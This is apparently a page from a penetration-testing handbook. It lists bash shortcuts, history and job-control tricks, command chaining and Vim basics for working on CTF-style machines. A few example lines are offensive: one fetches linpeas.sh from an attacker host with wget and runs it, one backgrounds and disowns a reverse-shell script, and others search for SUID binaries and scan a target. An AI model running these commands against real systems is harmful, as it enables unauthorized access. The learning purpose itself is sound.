> ## Documentation Index
> Fetch the complete documentation index at: https://hackbook.dudji.com/llms.txt
> Use this file to discover all available pages before exploring further.

# Shortcuts

## Auto-Complete

| Shortcut  | Action                                       |
| --------- | -------------------------------------------- |
| `Tab`     | Auto-complete command, filename, or path     |
| `Tab Tab` | Show all possible completions when ambiguous |

```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# Type partial command and hit Tab
cat /etc/pa[TAB]     → /etc/passwd
sys[TAB][TAB]        → systemctl  systemd  syslog ...
```

***

## Cursor Movement

Move around a long command without the arrow key — faster and more precise.

| Shortcut   | Action                    |
| ---------- | ------------------------- |
| `Ctrl + A` | Jump to beginning of line |
| `Ctrl + E` | Jump to end of line       |
| `Ctrl + ←` | Jump one word left        |
| `Ctrl + →` | Jump one word right       |
| `Alt + B`  | Move backward one word    |
| `Alt + F`  | Move forward one word     |

***

## Editing the Current Line

| Shortcut   | Action                                             |
| ---------- | -------------------------------------------------- |
| `Ctrl + U` | Delete everything from cursor to beginning of line |
| `Ctrl + K` | Delete everything from cursor to end of line       |
| `Ctrl + W` | Delete the word before the cursor                  |
| `Ctrl + Y` | Paste the last deleted text (yank)                 |
| `Ctrl + _` | Undo last edit                                     |

```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# Typed a long command with a mistake at the start?
# Ctrl+A to jump to beginning, then Ctrl+K to clear forward
# Or Ctrl+U to wipe the whole thing and start over
```

***

## Command History

These save enormous time — stop retyping commands you've already run.

| Shortcut    | Action                                        |
| ----------- | --------------------------------------------- |
| `↑` / `↓`   | Step through previous / next commands         |
| `Ctrl + R`  | Reverse search through history                |
| `Ctrl + G`  | Cancel history search, return to prompt       |
| `!!`        | Repeat the last command                       |
| `!<string>` | Run the last command starting with `<string>` |
| `!$`        | Last argument of the previous command         |

```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# Ctrl+R — start typing to search backwards through history
(reverse-i-search)`find': find / -perm -4000 2>/dev/null

# !! — repeat last command (useful for adding sudo)
apt install nmap
sudo !!           # → sudo apt install nmap

# !$ — reuse last argument
cat /etc/passwd
grep root !$      # → grep root /etc/passwd

# Show full command history
history
history | grep "find\|ssh\|curl"    # Search history
```

***

## Process Control

| Shortcut   | Action                                             |
| ---------- | -------------------------------------------------- |
| `Ctrl + C` | Send SIGINT — interrupt / kill the current process |
| `Ctrl + Z` | Send SIGTSTP — suspend process to background       |
| `Ctrl + D` | Send EOF — close STDIN / exit current shell        |

```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# Running a scan that's taking too long?
Ctrl+Z      # suspend it
bg          # resume it in the background
jobs        # see all background jobs
fg 1        # bring job 1 back to foreground

# Stuck in a program with no quit option?
Ctrl+C      # interrupt it

# Exit a shell or close a pipe
Ctrl+D
```

***

## Screen & Terminal

| Shortcut    | Action                                      |
| ----------- | ------------------------------------------- |
| `Ctrl + L`  | Clear the terminal screen (same as `clear`) |
| `Ctrl + +`  | Zoom in                                     |
| `Ctrl + -`  | Zoom out                                    |
| `Alt + Tab` | Switch between open applications            |

***

## Working With Multiple Commands

```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# Run commands sequentially regardless of success/failure
cmd1 ; cmd2 ; cmd3

# Run next command ONLY if previous succeeded (exit code 0)
cmd1 && cmd2 && cmd3

# Run next command ONLY if previous failed
cmd1 || cmd2

# Run in background, continue immediately
./long_scan.sh &

# Chain background jobs
nmap -sC -sV 10.10.10.5 & ; gobuster dir -u http://10.10.10.5 -w /usr/share/wordlists/dirb/common.txt &
```

***

## Useful Shell Tricks

```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# Run a command as root without switching user
sudo !!

# Quickly edit a long command in your default editor
Ctrl+X Ctrl+E     # Opens current command in $EDITOR

# Repeat a command every N seconds
watch -n 2 "ss -tuln"         # Refresh listening ports every 2s
watch -n 5 "ps aux | grep python"

# Time a command
time nmap -sC -sV 10.10.10.5

# Run multiple commands in a subshell
(cd /tmp && wget http://10.10.14.1/linpeas.sh && chmod +x linpeas.sh && ./linpeas.sh)

# Disown a background process (keeps running after you close the terminal)
./revshell.sh &
disown
```

***

## Redirects & Pipes Quick Reference

```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
cmd > file          # STDOUT to file (overwrite)
cmd >> file         # STDOUT to file (append)
cmd 2>/dev/null     # Discard STDERR
cmd 2>&1            # Redirect STDERR to STDOUT
cmd &>/dev/null     # Discard ALL output
cmd1 | cmd2         # Pipe STDOUT of cmd1 to cmd2
cmd < file          # Feed file as STDIN to cmd
cmd << EOF          # Here-document — inline STDIN until EOF
```

***

## Vim Essentials

You'll land on boxes where vim is the only editor available. Know enough to survive.

| Command         | Action                    |
| --------------- | ------------------------- |
| `i`             | Enter insert mode         |
| `Esc`           | Return to normal mode     |
| `:w`            | Save file                 |
| `:q`            | Quit                      |
| `:wq`           | Save and quit             |
| `:q!`           | Quit without saving       |
| `dd`            | Delete current line       |
| `yy`            | Copy current line         |
| `p`             | Paste below cursor        |
| `/pattern`      | Search forward            |
| `n`             | Next search result        |
| `:%s/old/new/g` | Find and replace all      |
| `:set number`   | Show line numbers         |
| `G`             | Jump to end of file       |
| `gg`            | Jump to beginning of file |

```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# Open a file
vim /etc/crontab

# Quickly append a line to a file from vim
# Press G (go to end), o (new line below), type your content, Esc, :wq
```

***

## Complete Shortcuts Reference

| Category          | Shortcut   | Action                   |
| ----------------- | ---------- | ------------------------ |
| **Auto-complete** | `Tab`      | Complete command or path |
| **Cursor**        | `Ctrl+A`   | Beginning of line        |
| **Cursor**        | `Ctrl+E`   | End of line              |
| **Cursor**        | `Ctrl+←/→` | Jump word left/right     |
| **Edit**          | `Ctrl+U`   | Delete to beginning      |
| **Edit**          | `Ctrl+K`   | Delete to end            |
| **Edit**          | `Ctrl+W`   | Delete previous word     |
| **Edit**          | `Ctrl+Y`   | Paste deleted text       |
| **History**       | `Ctrl+R`   | Search command history   |
| **History**       | `↑/↓`      | Previous/next command    |
| **History**       | `!!`       | Repeat last command      |
| **History**       | `!$`       | Last argument            |
| **Process**       | `Ctrl+C`   | Kill current process     |
| **Process**       | `Ctrl+Z`   | Suspend to background    |
| **Process**       | `Ctrl+D`   | Close STDIN / exit shell |
| **Screen**        | `Ctrl+L`   | Clear terminal           |

***

*You've reached the end of the Linux chapter. Next stop: [Linux Privilege Escalation](/attacks/privilege-escalation/linux) — taking everything you've enumerated and turning it into root.*